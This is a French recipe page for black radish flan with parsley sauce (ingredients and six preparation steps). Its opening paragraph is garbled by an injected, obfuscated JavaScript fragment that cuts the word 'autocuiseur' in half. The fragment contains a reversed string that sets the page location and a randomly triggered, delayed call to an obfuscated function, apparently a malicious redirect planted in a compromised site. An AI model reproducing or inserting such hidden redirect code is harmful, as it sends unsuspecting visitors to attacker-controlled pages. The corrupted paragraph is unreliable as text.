Flan de radis noir sauce au persil
2016-12-28- Cuisine : Flans salés
- Thématique : Végétarien
- Niveau : Facile
Lavez et pelez les radis noirs, les coupez en gros cubes, placez-les dans le panier de l’autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocuiseur en position supérieure et faites les cuire pendant 8 minutes après le départ de la soupape de sécurité. Préchauffez le four à 210°C thermostat 7.
Ingrédients
- Pour 4 personnes
- 2 gros radis noirs
- 4 cuillerées à soupe de crème fraîche
- 2 cuillerées à soupe de fromage blanc
- 40 g de parmesan râpé
- 4 œufs entiers
- 10 g de beurre
- noix de muscade râpée ou en poudre
- 1 bouquet de persil
- sel
- poivre
Préparation de la recette
Etape 1
Lavez et pelez les radis noirs, les coupez en gros cubes, placez-les dans le panier de l’autocuiseur en position supérieure et faites les cuire pendant 8 minutes après le départ de la soupape de sécurité.
Etape 2
Préchauffez le four à 210°C thermostat 7. Egouttez les radis puis réduisez-les en purée.
Etape 3
Dans un récipient mélangez la purée de radis noir avec les œufs, 2 cuillerées à soupe de crème fraîche, le parmesan. Ajoutez la noix de muscade.
Etape 4
Versez cette préparation dans un moule à soufflé beurré. Préchauffez le four à 210°C thermostat 7. Enfournez et faites cuire dans bain-marie chaud pendant 30 minutes sans ouvrir la porte de four.
Etape 5
Pendant ce temps préparez la sauce. Faites blanchir le persil dans de l’eau bouillante salée, égouttez-le et mixez-le pour obtenir une purée. Portez à ébullition le reste de la crème et hors du feu ajoutez le fromage blanc et la purée de persil.
Etape 6
Vérifiez l’assaisonnement si nécessaire Réservez au chaud. Servez le flan dès la sortie du four.
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